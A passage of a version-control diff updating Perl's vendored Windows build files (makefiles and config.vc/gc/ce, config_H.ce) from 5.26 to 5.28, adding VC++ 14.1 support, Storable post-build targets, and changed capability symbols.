+# Versions of Visual C++ up to VC++ 7.1 define $(MSVCDir); versions since then
+# define $(VCINSTALLDIR) instead, but for VC++ 14.1 we need the subfolder given
+# by $(VCToolsInstallDir).
 #
-# set the install locations of the compiler include/libraries
-# Running VCVARS32.BAT is *required* when using Visual C.
-# Some versions of Visual C don't define MSVCDIR in the environment,
-# so you may have to set CCHOME explicitly (spaces in the path name should
-# not be quoted)
-#
+!IF "$(CCTYPE)" == "MSVC60" || \
+    "$(CCTYPE)" == "MSVC70" || "$(CCTYPE)" == "MSVC70FREE"
 CCHOME		= $(MSVCDIR)
-CCINCDIR	= $(CCHOME)\include
-CCLIBDIR	= $(CCHOME)\lib
+!ELSE
+!  IF "$(CCTYPE)" == "MSVC141"
+CCHOME		= $(VCTOOLSINSTALLDIR)
+!  ELSE
+CCHOME		= $(VCINSTALLDIR)
+!  ENDIF
+!ENDIF
 
 #
 # Additional compiler flags can be specified here.
@@ -439,6 +436,23 @@
 EMBED_DLL_MANI	= if exist $@.manifest mt -nologo -manifest $@.manifest -outputresource:$@;2 && \
 		  if exist $@.manifest del $@.manifest
 
+# Set the install location of the compiler headers/libraries.
+# These are saved into $Config{incpath} and $Config{libpth}.
+CCINCDIR	= $(CCHOME)\include
+!IF "$(CCTYPE)" == "MSVC141"
+!  IF "$(WIN64)" == "define"
+CCLIBDIR	= $(CCHOME)\lib\x64
+!  ELSE
+CCLIBDIR	= $(CCHOME)\lib\x86
+!  ENDIF
+!ELSE
+!  IF "$(WIN64)" == "define"
+CCLIBDIR	= $(CCHOME)\lib\amd64
+!  ELSE
+CCLIBDIR	= $(CCHOME)\lib
+!  ENDIF
+!ENDIF
+
 ARCHDIR		= ..\lib\$(ARCHNAME)
 COREDIR		= ..\lib\CORE
 AUTODIR		= ..\lib\auto
@@ -449,7 +463,6 @@
 PODDIR		= ..\pod
 HTMLDIR		= .\html
 
-#
 INST_SCRIPT	= $(INST_TOP)$(INST_VER)\bin
 INST_BIN	= $(INST_SCRIPT)$(INST_ARCH)
 INST_LIB	= $(INST_TOP)$(INST_VER)\lib
@@ -481,7 +494,7 @@
 LOCDEFS		= -DPERLDLL -DPERL_CORE
 CXX_FLAG	= -TP -EHsc
 
-!IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC140FREE"
+!IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC141"
 LIBC		= ucrt.lib
 !ELSE
 LIBC		= msvcrt.lib
@@ -496,7 +509,7 @@
 LINK_DBG	= -debug
 !ELSE
 !IF  "$(CFG)" == "DebugFull"
-!IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC140FREE"
+!IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC141"
 LIBC		= ucrtd.lib
 !ELSE
 LIBC		= msvcrtd.lib
@@ -535,8 +548,8 @@
 DEFINES		= $(DEFINES) -D_CRT_SECURE_NO_DEPRECATE -D_CRT_NONSTDC_NO_DEPRECATE
 !ENDIF
 
-# Likewise for deprecated Winsock APIs in VC++ 14.0 for now.
-!IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC140FREE"
+# Likewise for deprecated Winsock APIs in VC++ 14.0 onwards for now.
+!IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC141"
 DEFINES		= $(DEFINES) -D_WINSOCK_DEPRECATED_NO_WARNINGS
 !ENDIF
 
@@ -560,7 +573,7 @@
 		netapi32.lib uuid.lib ws2_32.lib mpr.lib winmm.lib \
 		version.lib odbc32.lib odbccp32.lib comctl32.lib
 
-!IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC140FREE"
+!IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC141"
 !  IF  "$(CFG)" == "DebugFull"
 LIBBASEFILES	= $(LIBBASEFILES) msvcrtd.lib vcruntimed.lib
 !  ELSE
@@ -611,12 +624,13 @@
 RSC_FLAGS	= -DINCLUDE_MANIFEST
 !ENDIF
 
+# VS 2017 (VC++ 14.1) requires at minimum Windows 7 SP1 (with latest Windows Updates)
+
 # For XP support in >= VS 2013 (VC++ 12.0), subsystem is always in Config.pm
 # LINK_FLAGS else subsystem is only needed for EXE building, not XS DLL building
 # Console vs GUI makes no difference for DLLs, so use default for cleaner
 # building cmd lines
-!IF "$(CCTYPE)" == "MSVC120" || "$(CCTYPE)" == "MSVC120FREE" \
-    || "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC140FREE"
+!IF "$(CCTYPE)" == "MSVC120" || "$(CCTYPE)" == "MSVC140"
 !  IF "$(WIN64)" == "define"
 LINK_FLAGS	= $(LINK_FLAGS) -subsystem:console,"5.02"
 !  ELSE
@@ -665,9 +679,9 @@
 
 # makedef.pl must be updated if this changes, and this should normally
 # only change when there is an incompatible revision of the public API.
-PERLIMPLIB	= ..\perl526.lib
-PERLSTATICLIB	= ..\perl526s.lib
-PERLDLL		= ..\perl526.dll
+PERLIMPLIB	= ..\perl528.lib
+PERLSTATICLIB	= ..\perl528s.lib
+PERLDLL		= ..\perl528.dll
 
 MINIPERL	= ..\miniperl.exe
 MINIDIR		= .\mini
@@ -925,7 +939,8 @@
 #
 
 all : .\config.h ..\git_version.h $(GLOBEXE) $(CONFIGPM) \
-	$(UNIDATAFILES) MakePPPort $(PERLEXE) Extensions_nonxs Extensions $(PERLSTATIC)
+	$(UNIDATAFILES) MakePPPort $(PERLEXE) Extensions_nonxs Extensions PostExt \
+	$(PERLSTATIC)
 	@echo	Everything is up to date. '$(MAKE_BARE) test' to run test suite.
 
 regnodes : ..\regnodes.h
@@ -964,7 +979,7 @@
 	@echo.>>$@
 	@echo #ifndef _config_h_footer_>>$@
 	@echo #define _config_h_footer_>>$@
-!IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC140FREE"
+!IF "$(CCTYPE)" == "MSVC140" || "$(CCTYPE)" == "MSVC141"
 	@echo #undef FILE_ptr>>$@
 	@echo #define FILE_ptr(fp) PERLIO_FILE_ptr(fp)>>$@
 	@echo #undef FILE_cnt>>$@
@@ -1210,6 +1225,13 @@
 Extensions_realclean: 
 	-if exist $(MINIPERL) $(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(MAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --all --target=realclean
 
+PostExt: ..\lib\Storable\Limit.pm
+
+..\lib\Storable\Limit.pm: $(PERLEXE) Extensions
+	cd ..\dist\Storable && $(MAKE) lib\Storable\Limit.pm
+	if not exist ..\lib\Storable mkdir ..\lib\Storable
+	copy ..\dist\Storable\lib\Storable\Limit.pm ..\lib\Storable\Limit.pm
+
 #-------------------------------------------------------------------------------
 
 doc: $(PERLEXE) ..\pod\perltoc.pod
@@ -1260,7 +1282,7 @@
 	copy ..\README.tw       ..\pod\perltw.pod
 	copy ..\README.vos      ..\pod\perlvos.pod
 	copy ..\README.win32    ..\pod\perlwin32.pod
-	copy ..\pod\perldelta.pod ..\pod\perl5260delta.pod
+	copy ..\pod\perldelta.pod ..\pod\perl5280delta.pod
 	cd ..\win32
 	$(PERLEXE) $(PL2BAT) $(UTILS)
 	$(MINIPERL) -I..\lib ..\autodoc.pl ..
@@ -1288,6 +1310,7 @@
 	-del /f $(LIBDIR)\Time\HiRes.pm
 	-del /f $(LIBDIR)\Unicode\Normalize.pm
 	-del /f $(LIBDIR)\Math\BigInt\FastCalc.pm
+	-del /f $(LIBDIR)\Storable.pm $(LIBDIR)\Storable\Limit.pm
 	-del /f $(LIBDIR)\Win32.pm
 	-del /f $(LIBDIR)\Win32CORE.pm
 	-del /f $(LIBDIR)\Win32API\File.pm
@@ -1359,7 +1382,7 @@
 	-if exist $(LIBDIR)\Win32API rmdir /s /q $(LIBDIR)\Win32API
 	-if exist $(LIBDIR)\XS rmdir /s /q $(LIBDIR)\XS
 	-cd $(PODDIR) && del /f *.html *.bat roffitall \
-	    perl5260delta.pod perlaix.pod perlamiga.pod perlandroid.pod \
+	    perl5280delta.pod perlaix.pod perlamiga.pod perlandroid.pod \
 	    perlapi.pod perlbs2000.pod perlce.pod perlcn.pod perlcygwin.pod \
 	    perldos.pod perlfreebsd.pod perlhaiku.pod perlhpux.pod \
 	    perlhurd.pod perlintern.pod perlirix.pod perljp.pod perlko.pod \

Modified: vendor/perl/dist/win32/Makefile.ce
===================================================================
--- vendor/perl/dist/win32/Makefile.ce	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/Makefile.ce	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 #
 
 SRCDIR     = ..
-PV         = 526
+PV         = 528
 
 # INSTALL_ROOT specifies a path where this perl will be installed on CE device
 INSTALL_ROOT=/netzwerk/sprache/perl
@@ -780,7 +780,7 @@
 # Top targets
 #
 
-all: hostminiperl force_config_h ..\lib\buildcustomize.pl .\config.h ..\git_version.h $(CONFIGPM) $(UNIDATAFILES) $(PERLEXE) MakePPPort Extensions
+all: hostminiperl force_config_h ..\lib\buildcustomize.pl .\config.h ..\git_version.h $(CONFIGPM) $(UNIDATAFILES) $(PERLEXE) MakePPPort Extensions PostExt
 
 $(DYNALOADER)$(o) : $(DYNALOADER).c config.h $(EXTDIR)\DynaLoader\dlutils.c
 
@@ -857,6 +857,14 @@
 Extensions_clean:
 	-if exist $(HPERL) $(HPERL) -I..\lib ..\make_ext.pl "MAKE=$(MAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR)  --all --target=clean 
 
+PostExt: rebuild_storable
+
+rebuild_storable: $(PERLEXE)
+	$(PERLEXE) -I..\lib -I. ..\dist\Storable\stacksize --core
+	cd ..\dist\Storable
+	$(MAKE) PERL_CORE=1
+	cd ..\..\win32
+
 #----------------------------------------------------------------------------------
 
 $(PERLEXE_RES): perlexe.rc perl.rc $(PERLEXE_MANIFEST) $(PERLEXE_ICO)

Modified: vendor/perl/dist/win32/config.ce
===================================================================
--- vendor/perl/dist/win32/config.ce	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/config.ce	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,6 @@
 _o='.obj'
 afs='false'
 alignbytes='8'
-ansi2knr=''
 aphostname=''
 api_revision='~PERL_API_REVISION~'
 api_subversion='~PERL_API_SUBVERSION~'
@@ -89,6 +88,7 @@
 d_PRIx64='undef'
 d_SCNfldbl='undef'
 d__fwalk='undef'
+d_accept4='undef'
 d_access='define'
 d_accessx='undef'
 d_acosh='undef'
@@ -110,19 +110,18 @@
 d_attribute_unused='undef'
 d_attribute_warn_unused_result='undef'
 d_backtrace='undef'
-d_bcmp='undef'
-d_bcopy='undef'
 d_bsd='define'
 d_bsdgetpgrp='undef'
 d_bsdsetpgrp='undef'
+d_builtin_add_overflow='undef'
 d_builtin_choose_expr='undef'
 d_builtin_expect='undef'
-d_bzero='undef'
+d_builtin_mul_overflow='undef'
+d_builtin_sub_overflow='undef'
 d_c99_variadic_macros='undef'
 d_casti32='undef'
 d_castneg='define'
 d_cbrt='undef'
-d_charvspr='undef'
 d_chown='undef'
 d_chroot='undef'
 d_chsize='define'
@@ -165,6 +164,8 @@
 d_drand48_r='undef'
 d_drand48proto='undef'
 d_dup2='define'
+d_dup3='undef'
+d_duplocale='undef'
 d_eaccess='undef'
 d_endgrent='undef'
 d_endgrent_r='undef'
@@ -188,6 +189,7 @@
 d_faststdio='undef'
 d_fchdir='undef'
 d_fchmod='undef'
+d_fchmodat='undef'
 d_fchown='undef'
 d_fcntl='undef'
 d_fcntl_can_lock='undef'
@@ -329,10 +331,12 @@
 d_lgamma_r='undef'
 d_libm_lib_version='undef'
 d_link='define'
+d_linkat='undef'
 d_llrint='undef'
 d_llrintl='undef'
 d_llround='undef'
 d_llroundl='undef'
+d_localeconv_l='undef'
 d_localtime64='undef'
 d_localtime_r='undef'
 d_localtime_r_needs_tzset='undef'
@@ -358,17 +362,16 @@
 d_malloc_good_size='undef'
 d_malloc_size='undef'
 d_mblen='define'
+d_mbrlen='undef'
+d_mbrtowc='undef'
 d_mbstowcs='define'
 d_mbtowc='define'
-d_memchr='define'
-d_memcmp='define'
-d_memcpy='define'
 d_memmem='undef'
-d_memmove='define'
-d_memset='define'
+d_memrchr='undef'
 d_mkdir='define'
 d_mkdtemp='undef'
 d_mkfifo='undef'
+d_mkostemp='undef'
 d_mkstemp='undef'
 d_mkstemps='undef'
 d_mktime64='undef'
@@ -393,6 +396,7 @@
 d_munmap='undef'
 d_mymalloc='~PERL_MALLOC~'
 d_nan='undef'
+d_nanosleep='undef'
 d_ndbm_h_uses_prototypes='undef'
 d_nearbyint='undef'
 d_newlocale='undef'
@@ -407,10 +411,12 @@
 d_oldpthreads='undef'
 d_oldsock='undef'
 d_open3='undef'
+d_openat='undef'
 d_pathconf='undef'
 d_pause='define'
 d_perl_otherlibdirs='undef'
 d_phostname='undef'
+d_pipe2='undef'
 d_pipe='undef'
 d_poll='undef'
 d_portable='define'
@@ -445,13 +451,11 @@
 d_remainder='undef'
 d_remquo='undef'
 d_rename='define'
+d_renameat='undef'
 d_rewinddir='define'
 d_rint='undef'
 d_rmdir='define'
 d_round='undef'
-d_safebcpy='undef'
-d_safemcpy='undef'
-d_sanemcmp='define'
 d_sbrkproto='undef'
 d_scalbn='undef'
 d_scalbnl='undef'
@@ -527,7 +531,6 @@
 d_socklen_t='undef'
 d_sockpair='undef'
 d_socks5_init='undef'
-d_sprintf_returns_strlen='define'
 d_sqrtl='undef'
 d_srand48_r='undef'
 d_srandom_r='undef'
@@ -546,19 +549,18 @@
 d_stdio_stream_array='undef'
 d_stdiobase='undef'
 d_stdstdio='undef'
-d_strchr='define'
 d_strcoll='define'
-d_strctcpy='define'
-d_strerrm='strerror(e)'
-d_strerror='define'
 d_strerror_l='undef'
 d_strerror_r='undef'
 d_strftime='undef'
 d_strlcat='undef'
 d_strlcpy='undef'
+d_strnlen='undef'
 d_strtod='define'
+d_strtod_l='undef'
 d_strtol='define'
 d_strtold='undef'
+d_strtold_l='undef'
 d_strtoll='undef'
 d_strtoq='undef'
 d_strtoul='define'
@@ -578,6 +580,7 @@
 d_telldir='define'
 d_telldirproto='define'
 d_tgamma='undef'
+d_thread_safe_nl_langinfo_l='undef'
 d_time='define'
 d_timegm='undef'
 d_times='define'
@@ -594,6 +597,7 @@
 d_umask='define'
 d_uname='define'
 d_union_semun='define'
+d_unlinkat='undef'
 d_unordered='undef'
 d_unsetenv='undef'
 d_uselocale='undef'
@@ -607,8 +611,6 @@
 d_void_closedir='undef'
 d_voidsig='define'
 d_voidtty=''
-d_volatile='define'
-d_vprintf='define'
 d_vsnprintf='undef'
 d_wait4='undef'
 d_waitpid='define'
@@ -708,7 +710,6 @@
 i8size='1'
 i8type='char'
 i_arpainet='define'
-i_assert='define'
 i_bfd='undef'
 i_bsdioctl=''
 i_crypt='undef'
@@ -719,7 +720,6 @@
 i_execinfo='undef'
 i_fcntl='define'
 i_fenv='undef'
-i_float='define'
 i_fp='undef'
 i_fp_class='undef'
 i_gdbm='undef'
@@ -730,13 +730,10 @@
 i_inttypes='undef'
 i_langinfo='undef'
 i_libutil='undef'
-i_limits='define'
 i_locale='define'
 i_machcthr='undef'
 i_malloc='define'
 i_mallocmalloc='undef'
-i_math='define'
-i_memory='undef'
 i_mntent='undef'
 i_ndbm='undef'
 i_netdb='undef'
@@ -752,12 +749,9 @@
 i_sgtty='undef'
 i_shadow='undef'
 i_socks='undef'
-i_stdarg='define'
 i_stdbool='undef'
-i_stddef='define'
 i_stdint='undef'
 i_stdlib='define'
-i_string='define'
 i_sunmath='undef'
 i_sysaccess='undef'
 i_sysdir='undef'
@@ -794,10 +788,8 @@
 i_unistd='undef'
 i_ustat='undef'
 i_utime='define'
-i_values='undef'
-i_varargs='undef'
-i_varhdr='varargs.h'
 i_vfork='undef'
+i_wchar='undef'
 i_xlocale='undef'
 ignore_versioned_solibs=''
 inc_version_list=''
@@ -1114,7 +1106,6 @@
 uvtype='unsigned long'
 uvuformat='"lu"'
 uvxformat='"lx"'
-vaproto='undef'
 vendorarch=''
 vendorarchexp=''
 vendorbin=''

Modified: vendor/perl/dist/win32/config.gc
===================================================================
--- vendor/perl/dist/win32/config.gc	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/config.gc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,6 @@
 afs='false'
 afsroot='/afs'
 alignbytes='8'
-ansi2knr=''
 aphostname=''
 api_revision='~PERL_API_REVISION~'
 api_subversion='~PERL_API_SUBVERSION~'
@@ -91,6 +90,7 @@
 d_PRIx64='define'
 d_SCNfldbl='undef'
 d__fwalk='undef'
+d_accept4='undef'
 d_access='define'
 d_accessx='undef'
 d_acosh='undef'
@@ -112,19 +112,18 @@
 d_attribute_unused='undef'
 d_attribute_warn_unused_result='undef'
 d_backtrace='undef'
-d_bcmp='undef'
-d_bcopy='undef'
 d_bsd='define'
 d_bsdgetpgrp='undef'
 d_bsdsetpgrp='undef'
+d_builtin_add_overflow='undef'
 d_builtin_choose_expr='undef'
 d_builtin_expect='undef'
-d_bzero='undef'
+d_builtin_mul_overflow='undef'
+d_builtin_sub_overflow='undef'
 d_c99_variadic_macros='undef'
 d_casti32='define'
 d_castneg='define'
 d_cbrt='undef'
-d_charvspr='undef'
 d_chown='undef'
 d_chroot='undef'
 d_chsize='define'
@@ -167,6 +166,8 @@
 d_drand48_r='undef'
 d_drand48proto='undef'
 d_dup2='define'
+d_dup3='undef'
+d_duplocale='undef'
 d_eaccess='undef'
 d_endgrent='undef'
 d_endgrent_r='undef'
@@ -189,6 +190,7 @@
 d_faststdio='define'
 d_fchdir='undef'
 d_fchmod='undef'
+d_fchmodat='undef'
 d_fchown='undef'
 d_fcntl='undef'
 d_fcntl_can_lock='undef'
@@ -329,10 +331,12 @@
 d_lgamma_r='undef'
 d_libm_lib_version='undef'
 d_link='define'
+d_linkat='undef'
 d_llrint='undef'
 d_llrintl='undef'
 d_llround='undef'
 d_llroundl='undef'
+d_localeconv_l='undef'
 d_localtime64='undef'
 d_localtime_r='undef'
 d_localtime_r_needs_tzset='undef'
@@ -358,17 +362,16 @@
 d_malloc_good_size='undef'
 d_malloc_size='undef'
 d_mblen='define'
+d_mbrlen='undef'
+d_mbrtowc='undef'
 d_mbstowcs='define'
 d_mbtowc='define'
-d_memchr='define'
-d_memcmp='define'
-d_memcpy='define'
 d_memmem='undef'
-d_memmove='define'
-d_memset='define'
+d_memrchr='undef'
 d_mkdir='define'
 d_mkdtemp='undef'
 d_mkfifo='undef'
+d_mkostemp='undef'
 d_mkstemp='undef'
 d_mkstemps='undef'
 d_mktime64='undef'
@@ -393,6 +396,7 @@
 d_munmap='undef'
 d_mymalloc='undef'
 d_nan='undef'
+d_nanosleep='undef'
 d_ndbm='undef'
 d_ndbm_h_uses_prototypes='undef'
 d_nearbyint='undef'
@@ -408,10 +412,12 @@
 d_oldpthreads='undef'
 d_oldsock='undef'
 d_open3='undef'
+d_openat='undef'
 d_pathconf='undef'
 d_pause='define'
 d_perl_otherlibdirs='undef'
 d_phostname='undef'
+d_pipe2='undef'
 d_pipe='define'
 d_poll='undef'
 d_portable='define'
@@ -446,13 +452,11 @@
 d_remainder='undef'
 d_remquo='undef'
 d_rename='define'
+d_renameat='undef'
 d_rewinddir='define'
 d_rint='undef'
 d_rmdir='define'
 d_round='undef'
-d_safebcpy='undef'
-d_safemcpy='undef'
-d_sanemcmp='define'
 d_sbrkproto='undef'
 d_scalbn='undef'
 d_scalbnl='undef'
@@ -527,7 +531,6 @@
 d_socklen_t='undef'
 d_sockpair='undef'
 d_socks5_init='undef'
-d_sprintf_returns_strlen='define'
 d_sqrtl='undef'
 d_srand48_r='undef'
 d_srandom_r='undef'
@@ -546,19 +549,18 @@
 d_stdio_stream_array='undef'
 d_stdiobase='define'
 d_stdstdio='define'
-d_strchr='define'
 d_strcoll='define'
-d_strctcpy='define'
-d_strerrm='strerror(e)'
-d_strerror='define'
 d_strerror_l='undef'
 d_strerror_r='undef'
 d_strftime='define'
 d_strlcat='undef'
 d_strlcpy='undef'
+d_strnlen='undef'
 d_strtod='define'
+d_strtod_l='undef'
 d_strtol='define'
 d_strtold='undef'
+d_strtold_l='undef'
 d_strtoll='undef'
 d_strtoq='undef'
 d_strtoul='define'
@@ -578,6 +580,7 @@
 d_telldir='define'
 d_telldirproto='define'
 d_tgamma='undef'
+d_thread_safe_nl_langinfo_l='undef'
 d_time='define'
 d_timegm='undef'
 d_times='define'
@@ -594,6 +597,7 @@
 d_umask='define'
 d_uname='define'
 d_union_semun='define'
+d_unlinkat='undef'
 d_unordered='undef'
 d_unsetenv='undef'
 d_uselocale='undef'
@@ -608,8 +612,6 @@
 d_void_closedir='undef'
 d_voidsig='define'
 d_voidtty=''
-d_volatile='define'
-d_vprintf='define'
 d_vsnprintf='define'
 d_wait4='undef'
 d_waitpid='define'
@@ -720,7 +722,6 @@
 i8size='1'
 i8type='char'
 i_arpainet='define'
-i_assert='define'
 i_bfd='undef'
 i_bsdioctl=''
 i_crypt='undef'
@@ -731,7 +732,6 @@
 i_execinfo='undef'
 i_fcntl='define'
 i_fenv='undef'
-i_float='define'
 i_fp='undef'
 i_fp_class='undef'
 i_gdbm='undef'
@@ -742,13 +742,10 @@
 i_inttypes='undef'
 i_langinfo='undef'
 i_libutil='undef'
-i_limits='define'
 i_locale='define'
 i_machcthr='undef'
 i_malloc='define'
 i_mallocmalloc='undef'
-i_math='define'
-i_memory='undef'
 i_mntent='undef'
 i_ndbm='undef'
 i_netdb='undef'
@@ -764,12 +761,9 @@
 i_sgtty='undef'
 i_shadow='undef'
 i_socks='undef'
-i_stdarg='define'
 i_stdbool='define'
-i_stddef='define'
-i_stdint='undef'
+i_stdint='define'
 i_stdlib='define'
-i_string='define'
 i_sunmath='undef'
 i_sysaccess='undef'
 i_sysdir='undef'
@@ -806,10 +800,8 @@
 i_unistd='undef'
 i_ustat='undef'
 i_utime='define'
-i_values='undef'
-i_varargs='undef'
-i_varhdr='varargs.h'
 i_vfork='undef'
+i_wchar='undef'
 i_xlocale='undef'
 ignore_versioned_solibs=''
 inc_version_list=''
@@ -1155,7 +1147,6 @@
 uvtype='unsigned long'
 uvuformat='"lu"'
 uvxformat='"lx"'
-vaproto='undef'
 vendorarch=''
 vendorarchexp=''
 vendorbin=''

Modified: vendor/perl/dist/win32/config.vc
===================================================================
--- vendor/perl/dist/win32/config.vc	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/config.vc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,6 @@
 afs='false'
 afsroot='/afs'
 alignbytes='8'
-ansi2knr=''
 aphostname=''
 api_revision='~PERL_API_REVISION~'
 api_subversion='~PERL_API_SUBVERSION~'
@@ -91,6 +90,7 @@
 d_PRIx64='define'
 d_SCNfldbl='undef'
 d__fwalk='undef'
+d_accept4='undef'
 d_access='define'
 d_accessx='undef'
 d_acosh='undef'
@@ -112,19 +112,18 @@
 d_attribute_unused='undef'
 d_attribute_warn_unused_result='undef'
 d_backtrace='undef'
-d_bcmp='undef'
-d_bcopy='undef'
 d_bsd='define'
 d_bsdgetpgrp='undef'
 d_bsdsetpgrp='undef'
+d_builtin_add_overflow='undef'
 d_builtin_choose_expr='undef'
 d_builtin_expect='undef'
-d_bzero='undef'
+d_builtin_mul_overflow='undef'
+d_builtin_sub_overflow='undef'
 d_c99_variadic_macros='undef'
 d_casti32='undef'
 d_castneg='define'
 d_cbrt='undef'
-d_charvspr='undef'
 d_chown='undef'
 d_chroot='undef'
 d_chsize='define'
@@ -167,6 +166,8 @@
 d_drand48_r='undef'
 d_drand48proto='undef'
 d_dup2='define'
+d_dup3='undef'
+d_duplocale='undef'
 d_eaccess='undef'
 d_endgrent='undef'
 d_endgrent_r='undef'
@@ -189,6 +190,7 @@
 d_faststdio='define'
 d_fchdir='undef'
 d_fchmod='undef'
+d_fchmodat='undef'
 d_fchown='undef'
 d_fcntl='undef'
 d_fcntl_can_lock='undef'
@@ -329,10 +331,12 @@
 d_lgamma_r='undef'
 d_libm_lib_version='undef'
 d_link='define'
+d_linkat='undef'
 d_llrint='undef'
 d_llrintl='undef'
 d_llround='undef'
 d_llroundl='undef'
+d_localeconv_l='undef'
 d_localtime64='undef'
 d_localtime_r='undef'
 d_localtime_r_needs_tzset='undef'
@@ -358,17 +362,16 @@
 d_malloc_good_size='undef'
 d_malloc_size='undef'
 d_mblen='define'
+d_mbrlen='undef'
+d_mbrtowc='undef'
 d_mbstowcs='define'
 d_mbtowc='define'
-d_memchr='define'
-d_memcmp='define'
-d_memcpy='define'
 d_memmem='undef'
-d_memmove='define'
-d_memset='define'
+d_memrchr='undef'
 d_mkdir='define'
 d_mkdtemp='undef'
 d_mkfifo='undef'
+d_mkostemp='undef'
 d_mkstemp='undef'
 d_mkstemps='undef'
 d_mktime64='undef'
@@ -393,6 +396,7 @@
 d_munmap='undef'
 d_mymalloc='undef'
 d_nan='undef'
+d_nanosleep='undef'
 d_ndbm='undef'
 d_ndbm_h_uses_prototypes='undef'
 d_nearbyint='undef'
@@ -408,10 +412,12 @@
 d_oldpthreads='undef'
 d_oldsock='undef'
 d_open3='undef'
+d_openat='undef'
 d_pathconf='undef'
 d_pause='define'
 d_perl_otherlibdirs='undef'
 d_phostname='undef'
+d_pipe2='undef'
 d_pipe='define'
 d_poll='undef'
 d_portable='define'
@@ -446,13 +452,11 @@
 d_remainder='undef'
 d_remquo='undef'
 d_rename='define'
+d_renameat='undef'
 d_rewinddir='define'
 d_rint='undef'
 d_rmdir='define'
 d_round='undef'
-d_safebcpy='undef'
-d_safemcpy='undef'
-d_sanemcmp='define'
 d_sbrkproto='undef'
 d_scalbn='undef'
 d_scalbnl='undef'
@@ -527,7 +531,6 @@
 d_socklen_t='undef'
 d_sockpair='undef'
 d_socks5_init='undef'
-d_sprintf_returns_strlen='define'
 d_sqrtl='undef'
 d_srand48_r='undef'
 d_srandom_r='undef'
@@ -546,19 +549,18 @@
 d_stdio_stream_array='undef'
 d_stdiobase='define'
 d_stdstdio='define'
-d_strchr='define'
 d_strcoll='define'
-d_strctcpy='define'
-d_strerrm='strerror(e)'
-d_strerror='define'
 d_strerror_l='undef'
 d_strerror_r='undef'
 d_strftime='define'
 d_strlcat='undef'
 d_strlcpy='undef'
+d_strnlen='undef'
 d_strtod='define'
+d_strtod_l='undef'
 d_strtol='define'
 d_strtold='undef'
+d_strtold_l='undef'
 d_strtoll='undef'
 d_strtoq='undef'
 d_strtoul='define'
@@ -578,6 +580,7 @@
 d_telldir='define'
 d_telldirproto='define'
 d_tgamma='undef'
+d_thread_safe_nl_langinfo_l='undef'
 d_time='define'
 d_timegm='undef'
 d_times='define'
@@ -594,6 +597,7 @@
 d_umask='define'
 d_uname='define'
 d_union_semun='define'
+d_unlinkat='undef'
 d_unordered='undef'
 d_unsetenv='undef'
 d_uselocale='undef'
@@ -608,8 +612,6 @@
 d_void_closedir='undef'
 d_voidsig='define'
 d_voidtty=''
-d_volatile='define'
-d_vprintf='define'
 d_vsnprintf='define'
 d_wait4='undef'
 d_waitpid='define'
@@ -719,7 +721,6 @@
 i8size='1'
 i8type='char'
 i_arpainet='define'
-i_assert='define'
 i_bfd='undef'
 i_bsdioctl=''
 i_crypt='undef'
@@ -730,7 +731,6 @@
 i_execinfo='undef'
 i_fcntl='define'
 i_fenv='undef'
-i_float='define'
 i_fp='undef'
 i_fp_class='undef'
 i_gdbm='undef'
@@ -741,13 +741,10 @@
 i_inttypes='undef'
 i_langinfo='undef'
 i_libutil='undef'
-i_limits='define'
 i_locale='define'
 i_machcthr='undef'
 i_malloc='define'
 i_mallocmalloc='undef'
-i_math='define'
-i_memory='undef'
 i_mntent='undef'
 i_ndbm='undef'
 i_netdb='undef'
@@ -763,12 +760,9 @@
 i_sgtty='undef'
 i_shadow='undef'
 i_socks='undef'
-i_stdarg='define'
 i_stdbool='undef'
-i_stddef='define'
 i_stdint='undef'
 i_stdlib='define'
-i_string='define'
 i_sunmath='undef'
 i_sysaccess='undef'
 i_sysdir='undef'
@@ -805,10 +799,8 @@
 i_unistd='undef'
 i_ustat='undef'
 i_utime='define'
-i_values='undef'
-i_varargs='undef'
-i_varhdr='varargs.h'
 i_vfork='undef'
+i_wchar='undef'
 i_xlocale='undef'
 ignore_versioned_solibs=''
 inc_version_list=''
@@ -1154,7 +1146,6 @@
 uvtype='unsigned long'
 uvuformat='"lu"'
 uvxformat='"lx"'
-vaproto='undef'
 vendorarch=''
 vendorarchexp=''
 vendorbin=''

Modified: vendor/perl/dist/win32/config_H.ce
===================================================================
--- vendor/perl/dist/win32/config_H.ce	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/config_H.ce	2018-12-22 22:55:19 UTC (rev 12126)
@@ -32,24 +32,6 @@
  */
 /*#define HAS_ALARM		/**/
 
-/* HAS_BCMP:
- *	This symbol is defined if the bcmp() routine is available to
- *	compare blocks of memory.
- */
-/*#define HAS_BCMP	/**/
-
-/* HAS_BCOPY:
- *	This symbol is defined if the bcopy() routine is available to
- *	copy blocks of memory.
- */
-/*#define HAS_BCOPY	/**/
-
-/* HAS_BZERO:
- *	This symbol is defined if the bzero() routine is available to
- *	set a memory block to 0.
- */
-/*#define HAS_BZERO	/**/
-
 /* HAS_CHOWN:
  *	This symbol, if defined, indicates that the chown routine is
  *	available.
@@ -85,14 +67,6 @@
  */
 /*#define HAS_CUSERID		/**/
 
-/* HAS_DBL_DIG:
- *	This symbol, if defined, indicates that this system's <float.h>
